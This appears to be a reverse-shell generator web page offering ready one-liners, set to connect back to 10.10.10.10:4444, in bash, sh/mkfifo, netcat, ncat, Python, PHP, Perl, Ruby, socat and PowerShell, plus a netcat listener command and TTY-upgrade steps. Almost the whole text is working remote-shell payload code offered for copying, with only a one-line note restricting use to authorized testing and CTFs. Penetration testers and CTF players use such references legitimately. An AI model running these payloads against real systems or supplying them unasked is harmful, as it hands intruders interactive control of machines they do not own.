reverse shell generator

Fill in your listener address and copy a reverse-shell one-liner in your language of choice. Generated in your browser — nothing is sent. For authorized penetration testing and CTFs only.

Start a listener
nc -lvnp 4444
bash -i
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
bash (read line)
0<&196;exec 196<>/dev/tcp/10.10.10.10/4444; bash <&196 >&196 2>&196
sh / mkfifo
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.10.10 4444 >/tmp/f
nc -e
nc 10.10.10.10 4444 -e /bin/sh
ncat --ssl
ncat --ssl 10.10.10.10 4444 -e /bin/bash
python3
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.10.10",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'
php
php -r '$sock=fsockopen("10.10.10.10",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
perl
perl -e 'use Socket;$i="10.10.10.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
ruby
ruby -rsocket -e'f=TCPSocket.open("10.10.10.10",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
socat
socat TCP:10.10.10.10:4444 EXEC:/bin/sh,pty,stderr,setsid,sigint,sane
powershell
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('10.10.10.10',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sby=([Text.Encoding]::ASCII).GetBytes($sb2);$s.Write($sby,0,$sby.Length);$s.Flush()}"
Upgrade to a full TTYpython3 -c 'import pty;pty.spawn("/bin/bash")' # then: Ctrl-Z; stty raw -echo; fg